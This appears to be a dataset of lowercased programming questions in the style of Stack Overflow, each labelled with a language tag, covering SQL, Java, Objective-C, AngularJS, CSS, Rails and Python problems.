merging multiple tables from multiple databases with all rows and columns  i have 30 databases from a survey application that all have a table of results with approximately 100 columns in each. most of the columns are identical but each survey seems to have a unique column or two added in with no real pattern (these are the added questions and results of the survey). as i am working on the statement to join all of the tables into one large master table the code is getting quite complex. is  there a more efficient way to merge these tables from multiple databases and just select all rows and columns so it will merge if the column exists and create if it encounters a new column,sql
watchkitapp.app: no such file or directory  i just added two new <code>scheme</code> for my ios application  schemes are <code>debug</code>  <code>release</code>  <code>ota debug</code> and <code>ota release</code>.    when i try to <strong>archive</strong> application on <code>ota release</code> the following error appears.   <pre><code>error: /users/user/library/developer/xcode/deriveddata/appname/build/intermediates/archiveintermediates/appname/buildproductspath/ota release-watchos/watchkitapp.app: no such file or directory </code></pre>   how to fix it,ios
how to convert nsstring  {265  188}  to {265  188}  i have a <code>nsstring</code> variable that contains <strong> {265  188} </strong>. i want just <strong>{265  188}</strong> in a variable. what should i do     <strong>edit:</strong>    the code so far is:   <pre><code>//this i get from some xml so i change this part nsdictionary* controlconditions =@{@ nsposition :@ {265  188} };   nsstring* a=(nsstring*)[controlconditions valueforkey:@ axposition ]; </code></pre>   after all  i need to send this to apple script set <code>_controlid_</code> to <code>a(variable)</code> where i require it to be <strong>{265  188}</strong>     <strong>edit:</strong> the variable <code>controlconditions</code> is taken from an xml that gives the position of a uielement. the nsdictionary returns <strong> {265  188} </strong> in <code>a(variable)</code>. i need to send <strong>{265  188}</strong> to an applescript to match it to the position of various uielements to get the right one. hope this makes the problem clearer.,objective-c
something wrong with the calculateweeklypay methods of each employees  well i have now four types of employees. managers (who receive a fixed weekly salary)  design workers (who receive a fixed hourly wage for up to the first 40 hours they work and  time-and-a-half   i.e.  1.5 times their hourly wage  for overtime hours worked)  sales workers (who receive a $250 plus 5.7% of their gross weekly sales)  and  manufacturing (who receive a fixed amount of money per item for each of the items they produce -- each manufacture in this company works on only one type of item).  and here are my classes: employee class the problem is i get this output:   <pre><code>you chose to open this file: employees.txt john smith manufacturing 6.75 120 444 0.0 betty white manager 1200.0 0 111 0.0 stan slimy sales 10000.0 0 332 250.0 betty boop design 12.5 50 244 0.0 </code></pre>   meaning that it is getting 0 for all my calculations and leading to this weekly report:   <pre><code>weekly pay report for wacky widgets company employee 0     weekly pay  250 total payroll: $0.0 total number of managers paid:1 total number of design employees paid:1 total number of sales employees paid:1 total number of manufacturing employees paid:1 </code></pre>   i need help with fixing my methods so they can accept the integers of the file and use them in the calculation since all i m getting at the moment are 0 values. i can provide my read-file method if it is need . thanks    here is the abstract class from which all the other employees type are extending from [code]   <pre><code>public abstract class employee {      public abstract double calculateweeklypay();      private string fname;     private string lname;      private int empid;     private position p;      /*        public employee()        {         }*/      /**      * default constructor      */      public employee() {         // todo auto-generated constructor stub         /*this.getfname();         this.getlname();         this.getempid();*/         getfname();         getlname();         this.getempid();     }       /**      * @param string  first name      * @param string2 last name      * @param y       position      */     public employee(string string  string string2  string y) {           fname = string;         lname = string2;         // empid=string3;         if (y.equals( design )) {             p = position.design;         }         if (y.equals( sales )) {             p = position.sales;         }         if (y.equals( manufacturing )) {             p = position.manufacturing;         }         if (y.equals( manager )) {             p = position.manager;         }         //  stringtokenizer str=new stringtokenizer(fname+ lname+y  : . );      }       /**      * @return first name      */     public string getfname() {         return fname;     }      /**      * @param firstname sets the first name      */     public void setfname(string firstname) {         this.fname = firstname;     }      /**      * @return last name      */     public string getlname() {         return lname;     }      /**      * @param lastname      */     public void setlname(string lastname) {         this.lname = lastname;     }      /*public string tostring()     {      //  string str =  firstname+   +lastname+   + position:  +getposition();         return firstname;         }*/      /**      * @return p position      */     public position getposition() {          //  string str =  firstname+   +lastname+   + position:  +getposition();         return p;     }      public string tostring() {         string str = fname +     + lname +     +  position:   + getposition();         return str;      }//https://www.udemy.com/blog/java-abstract-class/       public int getempid() {         return empid;     }      public void setempid(int empid) {         this.empid = empid;     }  } </code></pre>   design employee class   <pre><code>public class design extends employee {     public double rate;//rate for each hours     public double h;//hours worked      public design(string fname  string lname  string pos) {         // todo auto-generated constructor stub         //double firstparam  int secondparam  int empnum         super(fname  lname  pos);         //tostring();          calculateweeklypay();     }      @override     public double calculateweeklypay() {         // todo auto-generated method stub         double weeklypay = 0;         if (h &lt;= 40) {             weeklypay = h * rate;         }         if (h &gt; 40) {             h = h * (3 / 2);             weeklypay = h * rate;         }         //system.out.println(weeklypay);         return weeklypay;     }      public double getrate() {         return rate;     }      public void setrate(double rate) {         this.rate = rate;     }      public double geth() {         return h;     }      public void seth(double h) {         this.h = h;     }  } </code></pre>   sales employee   <pre><code> public class sales extends employee {      private double weeksales;     private final double pay = 250;     private final double percent = .057;       public sales(string fname  string lname  string pos) {         // todo auto-generated constructor stub         super(fname  lname  pos);           this.calculateweeklypay();     }      @override     public double calculateweeklypay() {         // todo auto-generated method stub         double weekpay;         weekpay = pay + percent * this.getweeksales();         return weekpay;     }      public double getweeksales() {         return weeksales;     }      public void setweeksales(double weeksales) {         this.weeksales = weeksales;     }  } </code></pre>   and i have two other employee type of classes but they won t be needed here since if i fix the problem in this one class i can fix the others. here s is my company class which reads a file a calculates the weekly pay and total weekly pay of all employees classes   <pre><code>import java.io.file; import java.io.filenotfoundexception; import java.util.arraylist; import java.util.scanner;  import javax.swing.joptionpane;   public class company implements companyinterface {     //private employee addemp = new employee();     //  private position addposition = new      private arraylist&lt;employee&gt; list;     private static int numberofcompanies;     private string companyname;     private int numdesign;     private int numemployees;     private int nummanufacturing;     private int nummanager;     private int numsales;     /*string fname=  ;     string lname=  ;     string position=  ;     string first=  ;     string second=  ;     string empid=  ;     scanner file;*/     //private arraylist&lt;employee&gt; list2 ;     private employee addemp;      /**      * @param cn is the company name      */     public company(string cn) {          cn =  wacky widgets ;         list = new arraylist&lt;employee&gt;();         numdesign = 0;         numemployees = 0;         nummanufacturing = 0;         numsales = 0;          numberofcompanies++;         setcompanyname(cn);      }      @override     /**      * @param fname first name      * @param lname last name      * @param pos position      * @return null if everything is right      */       public string addemployee(string fname  string lname  string pos                                double firstparam  int secondparam  int empnum) {         string message = null;         //  if (pos.equals( design )&amp;&amp;                 numdesign == 1 &amp;&amp; numsales != 2 &amp;&amp; nummanufacturing != 4)         if (pos.equals( design )) {              if (numdesign == 2)//p2=position.design;             {                  message =  there are already 2 design persons\nemployee not                           added  ;              } else {                 addemp = new design(fname  lname  pos);                 numdesign++;                 numemployees++;                 list.add(addemp);             }           }//else return message;         //if (pos.equals( sales )&amp;&amp;numdesign&lt;1&amp;&amp;numsales&lt;2&amp;&amp;nummanufacturing&lt;4)         else if (pos.equals( sales )) {             if (numsales == 1) {                 message =  there is already a sales person\nemployee not                     added  ;               } else {                 //p2=position.sales;                 addemp = new sales(fname  lname  pos);                 numsales++;                 numemployees++;                 list.add(addemp);             }          }//else return message;         else if (pos.equals( manufacturing )) {             if (nummanufacturing == 4) {                 message =  there are already four manufacturing persons                      \nemployee not added  ;             } else {                 //p2=position.manufacturing;                 addemp = new manufacturing(fname  lname  pos);                 nummanufacturing++;                 numemployees++;                 list.add(addemp);             }         } else if (pos.equals( manager )) {             if (nummanager == 1) {                 message =  there is already a manager person\nemployee not                  added  ;             } else {                 //p2=position.manufacturing;                 addemp = new manufacturing(fname  lname  pos);                 nummanager++;                 numemployees++;                 list.add(addemp);             }         }         //string str=fname+   +lname+   +pos+   +firstparam+   +empnum;         system.out.println(fname +     + lname +     + pos +     + firstparam +     + secondparam +                     +empnum);                 //firstparam=employee.                 system.out.println(calculatetotalweeklypay());          return message;      }      /**      * returns number of companies      *      * @return number of companies      */     public static int getnumcompanies() {         return numberofcompanies;     }      public void setnumcompanies(int nc) {         numberofcompanies = nc;     }      /**      * sets the number of employees      *      * @param ne number of employees      */     public void setnumemployees(int ne) {         numemployees = ne;     }      /**      * returns the number of employees      *      * @return the number of employees      */     public int getnumemployees() {         return numemployees;     }      @override     public int getnummanager() {          return nummanager;     }      /**      * sets the number of designer      *      * @param nd number of designer      */     public void setnumdesign(int num) {         numdesign = num;     }      @override     public int getnumdesign() {          return numdesign;     }      public void setnumsales(int num) {         numsales = num;     }      @override     public int getnumsales() {          return numsales;     }      /**      * sets the number of manufacturer      *      * @param nm the number of manufacturer      */     public void setnummanufacturing(int num) {         nummanufacturing = num;     }      @override      public int getnummanufacturing() {          return nummanufacturing;     }      public void setnummanager(int num) {         nummanager = num;     }      @override     public string generateweeklyreport() {          int empid = 0;         string title =  weekly pay report for   + getcompanyname() +   company  +  \n ;         string label =  employee\n ;         string label2 =  weekly pay \n ;         int payweek = 0;          double total = 0.0;          for (employee index : list) {              empid += index.getempid();             payweek += index.calculateweeklypay();          }          return title + label + empid +  \n  +  \t  + label2 + payweek +  \n  +  total payroll:            $  +total+ \n  +          total number of managers paid:  + getnummanager() +  \n  +                  total number of design employees paid:  + getnumdesign() +  \n  +                  total number of sales employees paid:  + getnumsales() +  \n  +                  total number of manufacturing employees paid:  + getnummanufacturing();     }      @override     public double calculatetotalweeklypay() {          double total = 0;          for (int index = 0; index &lt; list.size(); index++) {             total = list.get(index).calculateweeklypay();             //total.add(list.get(index).calculateweeklypay());           }         return total;     }       /**      * @return str the arraylist of employees and positions      */      public string printcompany() {         // todo auto-generated method stub         string str =   ;         for (int index = 0; index &lt; list.size(); index++) {             str += list.get(index).getfname() +     + list.get(index).getlname() +                 +  position:              +list.get(index).getposition()+ \n  ;          }//system.out.println(str);         return str;       }      /**      * @return company name      */     public string getcompanyname() {         return companyname;     }      public void setcompanyname(string companyname) {         //companyname= wacky widgets ;         this.companyname = companyname;     }       public string tostring() {         //  int i =0;         string str = companyname +   ;         //string str =   ;         for (int i = 0; i &lt; list.size(); i++) {             str +=  \n  + list.get(i).getfname() +     + list.get(i).getlname() +                 +  position:              +list.get(i).getposition()+ \n  ;         }           return str;     }  } </code></pre>,java
is tcpclient/tcplistner class any faster than socket class  my application is written in .net and runs over windows server. it connects over tcp/ip with a remote server and keep on listening. it sends only one message at the beginning of the connection which is a login message and thereafter it never send any message but just listen from the server. its a stream socket and packets keep on coming quite frequently   about 6000 packets of size varying from 60 bytes to 200 bytes comes. so far i am using socket class and connects to the remote server. after sending log in request i start receving the stream on a continous basis. to receive the flow i am using beginreceive  socketflags none. and after every beginreceive it repeats the task. is there any other way to receive the stream in a faster way. my application is real time and very very time critical. even 1 microsecond matters. can anyone suggest.,.net
find average in python  can anyone help    <pre><code>import math a = int(raw_input( enter average: )) # average number probability c = int(raw_input( enter first number: )) # d = int(raw_input( enter last number: )) # e = 2.71828 for b in range(c d+1):     x = (a**b)/math.factorial(b)*(e**-a)     odd = round (1/x*0.92  2)     print odd </code></pre>   how to find average value of odd,python
$.ajax callback function is inside another function  i am having one function which will be called when ever my custom controls get loaded. please refer below code.   <pre><code>function load() { getdata(); }  function getdata() {    $. ajax({  url://remote url  type: get   success:function(data) { //going to set the data to my control }  }); } </code></pre>   so success callback function takes some time to return the  data  (i.e fetch the data from remote url) but load() client side method gets completed and do our control rendering. so i want  load() method needs to  wait until success function return the data from remote url and then load() function get completed then i will render our control based on the data.    how to do load() function need to wait the callback gets completed.    thanks     siva,jquery
why does the contains(value) equal false when it contains the value   here is the data  a char-array (board) and a list of char-arrays that are made up different three character sequences from board.   <pre><code>public static char[] board = {  q    -    +                                   a    -    d                                   +    x    c  };  static list&lt;char[]&gt; dalist = new list&lt;char[]&gt; {          new char[3] { board[3]  board[4]  board[5] }          new char[3] { board[0]  board[4]  board[8] }          new char[3] { board[2]  board[4]  board[6] }          new char[3] { board[1]  board[4]  board[7] }           new char[3] { board[0]  board[1]  board[2] }          new char[3] { board[6]  board[7]  board[8] }          new char[3] { board[0]  board[3]  board[6] }          new char[3] { board[2]  board[5]  board[8] } };  static void main(){         foreach (var item in dalist[2])     {         console.writeline(item);     }     // this returns + - + as expected       console.writeline(dalist[2].tostring().contains( - ));     // this returns false  } </code></pre>   why does the .contains method unexpectedly return false,c#
multiple set and where clauses in update query in mysql  i don t think this is possible as i couldn t find anything but i thought i would check on here in case i am not searching for the correct thing.     i have a settings table in my database which has two columns. the first column is the setting name and the second column is the value.     i need to update all of these at the same time. i wanted to see if there was a way to update these values at the same time one query like the following   <pre><code>update table set col1= setting name  where col2= 1 value  and set col1= another name  where col2= another value ; </code></pre>   i know the above isn t a correct sql format but this is the sort of thing that i would like to do so was wondering if there was another way that this can be done instead of having to perform separate sql queries for each setting i want to update.     thanks for your help.,mysql
no visible @interface in my main  i can not figure out why i am getting the error <em>no visible @interface for  stockholdings  declares the slector</em>     i have googled it and looked thru here and i am still confused could some one point me in the right direction. thank you.    stockholdings.h   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface stockholdings : nsobject {     //three instance varibles     float purchaseshareprices;     float currentshareprices;     int numberofshares; }  @property float purchaseshareprices; @property float currentshareprices; @property int numbeofshares;  -(float)costindollars; //purchaseshareprice * numberofshares -(float)valueofshares; //currentshareprice * numberofshares </code></pre>   stockholdings.m   <pre><code>#import  stockholdings.h   @implementation stockholdings  @synthesize purchaseshareprices  currentshareprices  numbeofshares;  -(float) costindollars {     return ([self purchaseshareprices] * [self numbeofshares]); }  -(float) valueofshares {     return ([self currentshareprices] * [self numbeofshares]); }    @end </code></pre>   main.m   <pre><code>#import &lt;foundation/foundation.h&gt; #import  stockholdings.h  int main(int argc  const char * argv[]) {      @autoreleasepool {          nslog(@ hello\n );          stockholdings *stock1 = [[stockholdings alloc]init];         [stock1 currentshareprices:1.0];         [stock1 purchaseshareprices:2.0];         [stock1 numbeofshares:3];           }     return 0; } </code></pre>,objective-c
error: $injector:unknown provider  my service:    <pre><code>angular.module( app ).factory( kerethttpsrv    function ($http  $state  $scope  $rootscope  $q  $localstorage) { /*some code*/     return kerethttpservice;  }) </code></pre>   my controller    <pre><code>angular.module( app.dashboard ) .controller( dashboardctrl    [ $scope    kerethttpsrv   function ($scope  kerethttpsrv)  { /*some code*/  }]) </code></pre>   i have this error:   <blockquote>    error: $injector:unknown provider  </blockquote>   how can i solve this problem,angularjs
rails: cannot set id for the what the object belongs_to during creation  i have the following models but i am unable to set comment.post_id when creating it.   <pre><code>post.rb   has_many :comments </code></pre>   and   <pre><code>comment.rb   belongs_to :post </code></pre>  <h2>situation a (preferred):</h2>   the form for a new comment is on the post show page. therefore posts#show should finish with:   <pre><code>@comment = comment.new @comment.post_id = params[:id] </code></pre>   and posts/show.html.erb should include:   <pre><code>&lt;%= render  comments/form  %&gt; </code></pre>   however  the form throws a <code>post can t be blank</code> error.   <h2>situation b:</h2>   the second thing i tried  which did not work  was this:    the post page links to a page for new comment and stores the post_id in the url.    config/routes.rb includes:   <pre><code>get  posts/:id/comment   to:  comments#new   as:  new_comment  </code></pre>   the link is formatted like so:   <pre><code>&lt;%= link_to  new comment   new_comment_path(@post) %&gt; </code></pre>   and comments#new contains   <pre><code>@review = review.new @review.player_id = params[:id] </code></pre>   this also does not work and the form returns <code>post can t be blank</code>.   <h2>situation c</h2>   same as b but post_id is stored in cookies like so... posts#show includes:   <pre><code>@comment = comment.new session[:post_id] = params[:id] </code></pre>   posts/show.html.erb includes the link:   <pre><code>&lt;%= link_to  new comment   new_comment_path %&gt; </code></pre>   and comments#new is:   <pre><code>@review = review.new @review.player_id = session[:player_id] session.delete(:player_id) </code></pre>  <hr>   i originally thought the problem was the comment_params method  but it looks fine:   <pre><code>params.require(:comment).permit(:body  :post_id) </code></pre>  <hr>   so how can i assign comment.post_id,ruby-on-rails
how to keep elements in place  please have a look at this form that i am trying to design with not much luck. let me say that i come from a tables world and am really trying to learn this css stuff. because i have used tables for so long  i guess i m expecting the same results. for example  if i write a row of data then start a new row  the bottom row will never move from where it is; that is that unlike css  the contents of the rows stay put.    now  in this case  i m expecting the same behavior but what i m getting are these boxes that are jumping up and every which way. all i am trying to do here is to put 2 input boxes side by side and another below it. what happens is that the last row jumps up. i have to maintain a hight attribute on the box on the right in order to push the next box down.    i am including all of the css and if you view it in your browser  you will hopefully see these boxes as i intend them to be.   <pre><code>#passage .input-right {   border:1px solid #888;   height:22px; &lt;----------------------if you change this to something lower  the bottom box jumps up.   width:99%;   margin:0;   padding:0; } </code></pre>  <hr>   here is all of the code.   <pre><code>&lt;style&gt; #passage {   width:90%;   height:350px;   border:0px solid #000;   color:black;   margin:auto; } #passage p {   font-size:11px; } #passage span.left {   float:left;   width:49%;   border:0px solid #000; } #passage span.right {   float:right;   width:49%;   border:0px solid #000; } #passage .select-left {   border:1px solid #888;   height:21px;   width:99%;   margin:0;   padding:0; } #passage .input-right {   border:1px solid #888;   height:22px;   width:99%;   margin:0;   padding:0; } #passage div#submit {   float:left;   width:100%;   border:0px solid #000;   margin-top:20px; } &lt;/style&gt;  &lt;div id= passage &gt;   &lt;span class= left &gt;     book&lt;br /&gt;     &lt;select class= select-left  name= book &gt;       &lt;option value=  &gt;select..&lt;/option&gt;     &lt;/select&gt;   &lt;/span&gt;    &lt;span class= right &gt;     chapter&lt;br /&gt;     &lt;input type= text  class= input-right  name= chapter-verse  /&gt;   &lt;/span&gt;    &lt;span class= left &gt;     translation&lt;br /&gt;     &lt;select class= select-left  name= translation &gt;       &lt;option value=  &gt;select...&lt;/option&gt;     &lt;/select&gt;   &lt;/span&gt;    &lt;div id= submit &gt;     &lt;form method= post  action=  &gt;       &lt;div&gt;         &lt;input type= submit  value= submit  name= search  /&gt;       &lt;/div&gt;     &lt;/form&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>,css
why wrapall() copy javascript code   i have a javascript code and you can see its jsfiddle <a href= http://jsfiddle.net/xwqnp/  rel= nofollow >here</a>.    when wrap all .inner elements with new div  it seems jquery copy javascript code (so you can see two alert when run). is this a normal behaviour of <code>wrapall()</code> or this is a bug,jquery
get a value from a form item in php  basically iv got paypal items set up and i have for instance  a text input feild called itemquantity1    when i press the corosponding add to cart button  i want it to use the value of itemquantity1 to fill the variable for quantity which paypal uses.    so if i have: |15_____| |add to cart|    when i push add to cart i want it to say that i added 15 of this item.     i tried doing    ... name=quantity value=$temquantity1    but this didnt work    thanks,php
html - alternative to having an id as a number   i wanted to get some input on how to best handle my situation.      i want to store a numerical id for each table row(&lt; tr>) but i realize that it isn t good practice to make an id for the &lt; tr> a number.  is there any other way to store an id/number value for a table row besides storing the id as a column field     basically when you click on the table row it will take you to another page that loads data from a database depending on the id.,html
cannot add object to ns array  i have an array of restaurants defined in the header file   <pre><code>@property (nonatomic  strong) nsmutablearray *respool; //pool of restaurants </code></pre>   now i am trying to add a restaurant object to this array by doing the following in the .m file:   <pre><code>id restaurant = [[restaurant alloc] initwithresname:resname] [self.respool addobject:restaurant];// add the restaurant to the res pool array </code></pre>   the resname nsarray remains empty when i run this code. i am not sure what i m doing wring. i am just trying to pick up objective c. can someone help me with this,objective-c
how to print a list with specified column width in python   i have a list like   <pre><code>mylist = [1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20] </code></pre>   how can i print the list with a specified column width    for example  i want to print <code>column = 5</code> then new line   <pre><code>print(mylist  column= 5) [ 1   2   3   4   5     6   7   8   9  10    11  12  13  14  15    16  17  18  19  20] </code></pre>   or i want to print <code>column = 10</code> then new line   <pre><code>print(mylist  column= 10) [ 1   2   3   4   5  6   7   8   9  10    11  12  13  14  15  16  17  18  19  20] </code></pre>   i know i can use for-loop to do that  but i want to know is there is a function to do so already,python
rails flash message not showing in redirect_to  in one controller i have    <pre><code>flash[:error] =  message  redirect_to :root </code></pre>   the :root is handled by another controller  the view has    <pre><code>&lt;% if flash[:error] %&gt;   &lt;p&gt;&lt;%= flash[:error] %&gt;&lt;/p&gt; &lt;% end %&gt; </code></pre>   but nothing is being shown.  i inserted &lt;%= debug controller.session %>  here s what i got   <pre><code> flash =&gt;#&lt;actiondispatch::flash::flashhash:0x2e79208 @used=#&lt;set: {}&gt;  @closed=false  @flashes={}  @now=nil&gt;} </code></pre>   what did i do wrong,ruby-on-rails
asp:sqldatasource vs ado.net coding with c#  i really do not have time to learn new language  in my case asp.net  but would like to start developing website in asp.net. i do not want to use asp:sqldatasource control. is it ok if i write in codebehind aspx: all database connections and other crud operations in ado.net and c#. i already know xhtml  javascript - jquery  css  xml  json  some knowledge in sever-side coding (before php). want to start coding  instead of learning messy asp.net controls. please advise  or i have to sit and learn all bloody ways of using those asp.net controls,asp.net
how to have a property for an array in iphone  i have a <code>uibutton</code> array.   <pre><code>uibutton *btn[12]; </code></pre>   i want to set property for this btn.    how to do this. i tried   <pre><code>@property(nonatomic  retain) uibutton *btn; </code></pre>   with    <pre><code>@synthesize btn; </code></pre>   but it doesn works.,iphone
how to make a kaleidoscope in iphone  i am trying to make a kaleidoscope app in iphone. some one can tell me how can make it  what kind of techs i must use  please ! thanks a lot for your helps  i am so worried now !    thanks,iphone
number to be multiplied to form a perfect cube  i wish to find the lowest integer  y  which when multiplied to number  x    x*y  should form a perfect cube. here s what i have done.   <pre><code>boolean flag=false; int i=1; long y=0; while(flag!=true){   long abc= x*i    double apple = math.cbrt(abc);   int al = (int)apple;   if(apple==al){     flag=true;     y=i;   }   i++; } </code></pre>   above code solves the purpose  but is there any better way to do this     for example x=9 than y=3. /* y is least possible integer*/,java
"strange behaviour with direction: rtl and closing braces at the end of the sentence  i have some text with a braced part at the end and the containing div has the css property <code>direction: rtl;</code>. this causes the closing brace to appear at the beginning of the sentence as opening brace.     so    <pre><code>some text with (braces) </code></pre>   becomes   <pre><code>(some text with (braces </code></pre>   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#strange-behaviour {
   direction: rtl;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= strange-behaviour &gt;
   some text with (braces)
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     here is a <a href= https://jsfiddle.net/sec47h7v/  rel= nofollow noreferrer >working fiddle</a>.     <strong>my question</strong>    how can i motivate the closing brace to stay the closing brace",css
how to display a value from another controller in angularjs   i have two modules namely authentication and home and they have there own controllers.each of them have same name controllers.js    i have to display value like $scope.username in home page (module home) which is comes from controller of module authentication .how it possible,angularjs
camera streaming between website and iphone  i was wondering how would i be able to stream a video from a website to my iphone. i dont know how to stream my videos to an iphone. since flash isnt supported on the iphone what would be the best approach to do this.      thanks.,iphone
dynamically how to add directives   i am trying to create dynamic directives. but i am getting error. any one correct me please     here is my code :   <pre><code>var data = [{completed:40}  {completed:20}  {completed:55}  {completed:69}  {completed:71}] var newapp = angular.module( myapp   []);  newapp .controller( home   [ $scope   function ($scope  $compile) {     $scope.data = data;     for(var i=0; i &lt; $scope.data.length; i++) {         $( .content ).append($compile( &lt;title&gt;&lt;/title&gt; )(scope));         $scope.$apply();      } }]);  newapp .directive( title   function ($compile  $http) {     return {         restrict: e           replace : true          template :  &lt;h2 class= que t3 &gt;qqq&lt;/h2&gt;           link : function () {             console.log( link called );         }     } }); </code></pre>   <a href= http://jsfiddle.net/8vyduzam/1/  rel= nofollow >live demo</a>,angularjs
iphone  the best way to change the background color of the uialertview   and button properties   as topic... i want a simple to change the color of alertview  but after googling  i find it is trouble  anyway  can give a tip on this problem    i also trace the uialertview  the structure will be like as follows :   <pre><code>calertview: 0x6463050; baseclass = uialertview; frame = (3.8 175.1; 312.4 129.8); transform = [1.1  0  0  1.1  0  0]; opaque = no; tag = -1; animations = { transform=&lt;cabasicanimation: 0x616cfb0&gt;; opacity=&lt;cabasicanimation: 0x616d050&gt;; }; layer = &lt;calayer: 0x6407f90&gt;&gt; </code></pre>   above is base view     subviews as follows:   <pre><code> &lt;uiimageview: 0x6470dc0; frame = (0 0; 284 118); opaque = no; autoresize = w+h; userinteractionenabled = no; layer = &lt;calayer: 0x6470df0&gt;&gt;    &lt;uilabel: 0x64649c0; frame = (12 15; 260 0); text =   ; clipstobounds = yes; opaque = no; userinteractionenabled = no; layer = &lt;calayer: 0x6444490&gt;&gt;    &lt;uilabel: 0x6454180; frame = (12 22; 260 21); text =  submit successfully! ; clipstobounds = yes; opaque = no; userinteractionenabled = no; layer = &lt;calayer: 0x6453660&gt;&gt;    &lt;uithreepartbutton: 0x64690f0; frame = (11 59; 262 43); opaque = no; tag = 1; layer = &lt;calayer: 0x6468800&gt;&gt;  </code></pre>   i think that the uiimageview is the background view  i try to change the color of the view  but it does not effect the color of the uialertview...    anyone can share a good and simple way to change the color of the alert view      thanks for your time .     regards,iphone
iphone: is it possible to alter data in an application s documents folder   i am building an iphone game where i store the player s game data in the documents folder of the application. the game data is serialized to disk using encodewithcoder. using this approach  am i at risk of malicious players altering the game data by hand     i know jail broken phones give you ssh access to your phone. so in theory  a player can ssh into his phone  find the game data  and edit it using vi to tweak their data     i have a jail broken phone for testing and i m trying it now  but each attempt at editing it seems to corrupt the file and make it impossible to be read by the game.    i m also trying to scp the data file to my dev machine  open it up using xcode  tweaking the values  and sending it back to the app. but i m not having any success on seeing the new values appear in the game.    so am i safe from this type of exploit     thanks.,iphone
sql - count records and insert results into another table  i have 3 databases.   <pre><code>db1 - i need to count the rows in table2.column1 by refnum from db3 db2 - use the count from db1 to update list table  qtyadd column db3 - contains a refnum that both db1 and db2 use. </code></pre>   the following query will do the count from db1 and update the qtyadd column in db2. what i cannot figure out is how to use the refnum from db3 to add to the select statement and the update section.   <pre><code>update list set qtyadd = i.qty from (select count (column1) as qty from db2.dbo.table2 where (column1 like  a% ) and (refnum =  2833 )) i where (refnum =  2833 )  //works but the refnum is manually put in //i have tried the following with no luck:  update list set qtyadd = i.qty from (select count (column1) as qty from db2.dbo.table2 where (column1 like  a% ) and (refnum = db3.dbo.ref.refnum)) i where (refnum = db3.dbo.ref.refnum ) </code></pre>   any suggestions,sql
.net file size using fileinfo for large files  i am trying to get the file size of large files (some are over 1 gig) using fileinfo.  it works  but it takes 20 seconds or so.  really  all i need is to figure out if the file is over a certain size  for example 100mb.  is there a quicker way to do this    <pre><code>new system.io.fileinfo(processpath).length </code></pre>   edit: btw  the file i am using to test is a 1.6 gig executable installer.  so i am guessing that each file in the installer is being read  and that is why it is taking so long.  is there any way to time out after 5 seconds or so  since if it takes longer than 5 seconds  we can safely assume that it is a large file,.net
compare two columns with two different excel files find duplictates values in java  how to compare two columns data in two different excel files to find duplicates in excel,java
function to return a list of strings as a proper case  i need to write a function which should be completed in 1 or 2 lines and should not use control statements.    requirement is    given a list of first names   capitalize them properly   <blockquote>    ex : [ james    jack   harry ] should return[ james   jack   harry ]  </blockquote>   hint : use a built in function and one of the string module functions to make this happen,python
how to output char array in c  newbiee here   i am trying to scan characters from a txt file and output it to another txt file. i think my problem is conversion specifiers converting int to char so my result is weird characters. thanks for your help.   <pre><code>#include &lt;stdio.h&gt; #define nrow 676 #define filein  lettercombo.txt  #define fileout  lettercomboout.txt   int main(void) { //variables int i; char combo [nrow]; file *lcombo; file *lcomboout;  //writes output file or overwrites previous one lcomboout = fopen(fileout  w );   // open file and read data into array lcombo = fopen(filein  r ); for (i=0; i&lt;677; i++)     fscanf(lcombo  %c  &amp;combo[i]);  for (i=0; i&lt;677; i++)         fprintf(lcomboout  %c \n  combo[i]);     return 0; } </code></pre>   update post: i forgot to add the input file in the same folder. i appreciate the help  it works :),c
mysql: how to group by date  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/6160990/sql-count-records-within-a-month-using-a-unix-timestamp >sql count records within a month using a unix timestamp</a>    </blockquote>     i have a table like this     <pre> +--------+------------+          |    id  | datetime   |   +--------+------------+    |      1 | 1313405609 |   |      1 | 1313144410 |   |      2 | 1313405550 |   |      1 | 1313405549 |   +--------+------------+ </pre>   datetime is php unix time  i want to group row by date(e.g. 20120517) and count every group items.  because the date of 1313405609 1313405550 and 1313405549 is 20110815  the result i want is:     <pre> +--------+------------+------------+   |     id | datetime   |    count   |   +--------+------------+------------+   |      1 | 1313405609 |      2     |   |      1 | 1313144410 |      1     |    |      2 | 1313405550 |      1     |   +--------+------------+------------+ </pre>   how can i do it with sql,mysql
how to view the list of all exceptions thrown by a custom class member in c#   visual studio allows you us view the list of all exceptions thrown by a base class library member simply by hovering your mouse cursor over the member name in the code window. is there any way to find it out for the custom class member     thanks,c#
header guard in c++  hello everyone iam just looking through the header guards application in c++ i know that header guards are used to include content of any file at once i have the following scenario as     <strong>a.h</strong>   <pre><code>#include&lt;string&gt; #include  b.h  std::string geta() {     return  a ; } </code></pre>   <strong>b.h</strong>   <pre><code>#include&lt;string&gt; #include  a.h  #ifndef b_h #define b_h std::string getb() {     return  b ; } #endif </code></pre>   and <strong>both.cpp</strong>   <pre><code>#include&lt;iostream&gt; #include b.h  #include a.h  using namespace std; int main() {     cout&lt;&lt;geta();     cout&lt;&lt;getb();     return 0; } </code></pre>   please explain me how does the final both.cpp contains as we have two times called  #include  b.h   .i think iam making sense here.thanks in advance.please help needed guys. since a.h has no header guard and the function defination of geta should be included 2 times in both.cpp  but the program ran successfully.please help me in figuring out final both.cpp code.,c++
send ssh commands from ios   the app i am planning to develop involves sending ssh commands from the phone to a server that supports ssh. is there a library that will help me connect and send commands to an ssh server  thanks! i looked at libssh  but a lot of the stuff it used was deprecated in ios6.  ~carpetfizz,objective-c
